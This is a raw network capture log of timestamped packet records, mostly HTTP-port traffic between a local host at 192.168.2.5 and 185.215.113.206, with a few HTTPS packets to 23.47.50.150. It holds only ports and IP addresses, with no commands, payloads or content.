Nov 16, 2024 13:01:40.473872900 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473889112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473897934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473897934 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473906994 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473920107 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473922968 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473938942 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473953962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473964930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473964930 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.473969936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.473983049 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474025965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474025965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474045038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474060059 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474073887 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474075079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474091053 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474109888 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474136114 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474144936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474144936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474144936 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474163055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474176884 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474193096 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474199057 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474210024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474236965 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474251032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474256039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474256039 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474267006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474280119 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474304914 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474319935 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474328041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474328041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474328041 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474339008 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474366903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474379063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474379063 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474389076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474390984 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.474402905 CET	443	49897	23.47.50.150	192.168.2.5
Nov 16, 2024 13:01:40.474405050 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474420071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474425077 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.474446058 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474455118 CET	49897	443	192.168.2.5	23.47.50.150
Nov 16, 2024 13:01:40.474457979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474457979 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474462032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474478006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474492073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474509001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474515915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474515915 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474524975 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474541903 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474555969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474555969 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474555969 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474564075 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474569082 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474571943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474581003 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474596024 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474612951 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474626064 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474627018 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474646091 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474659920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474659920 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474661112 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474677086 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474694967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474710941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474726915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474736929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474736929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474741936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.474747896 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474961996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.474996090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475131989 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475147963 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475162983 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475179911 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475182056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475182056 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475197077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475212097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475222111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475222111 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475227118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475234985 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475243092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475269079 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475270033 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475289106 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475548029 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475574970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475600004 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475617886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475635052 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475635052 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475650072 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475665092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475672007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475672007 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475672960 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475698948 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475724936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475728989 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475728989 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475739956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475755930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475778103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475778103 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475780010 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475794077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475809097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475832939 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475833893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475833893 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475848913 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475866079 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475882053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475882053 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.475895882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475920916 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475944042 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475970984 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.475986958 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476011038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476027012 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476039886 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476058006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476047993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476073980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476047993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476047993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476048946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476048946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476048946 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476082087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476089001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476103067 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476109028 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476121902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476121902 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476123095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476140022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476166964 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476166964 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476243973 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476274967 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476294041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476311922 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476329088 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476355076 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476366997 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476381063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476396084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476402998 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476404905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476404905 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476418972 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476437092 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476444006 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476460934 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476476908 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476491928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476491928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476505041 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476521015 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476540089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476548910 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476556063 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476572037 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476588011 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476589918 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476589918 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476605892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476632118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476648092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476737022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476747036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476747036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476747036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476747036 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476747990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476752043 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476768017 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476838112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476838112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476838112 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476845980 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476861954 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476877928 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476902962 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476906061 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476907015 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476918936 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476933956 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476949930 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476960897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476960897 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.476965904 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.476993084 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477004051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477004051 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477006912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477025032 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477039099 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477050066 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477050066 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477055073 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477072001 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477076054 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477089882 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477106094 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477108002 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477122068 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477140903 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477140903 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477145910 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477169991 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477185965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477185965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477229118 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477245092 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477267027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477273941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477273941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477292061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477308035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477308035 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477317095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477332115 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477346897 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477365971 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477365971 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477374077 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477389097 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477405071 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477421999 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477422953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477422953 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477438927 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477454901 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477471113 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477474928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477474928 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477487087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477524996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477524996 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477528095 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477556944 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477574110 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477588892 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477602959 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477607965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477607965 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477617979 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477644920 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477657080 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477657080 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477659941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477674961 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477698088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477698088 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477700949 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477715969 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477731943 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477746964 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477767944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477770090 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477767944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477767944 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477787018 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477802038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477811098 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477818966 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477822065 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477843046 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477854967 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477859974 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477873087 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477881908 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477889061 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477905035 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477920055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477941990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477941990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477941990 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477947950 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477962971 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.477971077 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.477979898 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478004932 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478013992 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478013992 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478019953 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478038073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478038073 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478055000 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478060007 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478075027 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478090048 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478106022 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478107929 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478120089 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478137970 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478146076 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478146076 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478174925 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478174925 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478188038 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478192091 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478200912 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478216887 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478224993 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478231907 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478256941 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478256941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478256941 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478272915 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478286028 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478288889 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478301048 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478306055 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478319883 CET	80	49802	185.215.113.206	192.168.2.5
Nov 16, 2024 13:01:40.478328943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478328943 CET	49802	80	192.168.2.5	185.215.113.206
Nov 16, 2024 13:01:40.478353024 CET	80	49802	185.215.113.206	192.168.2.5
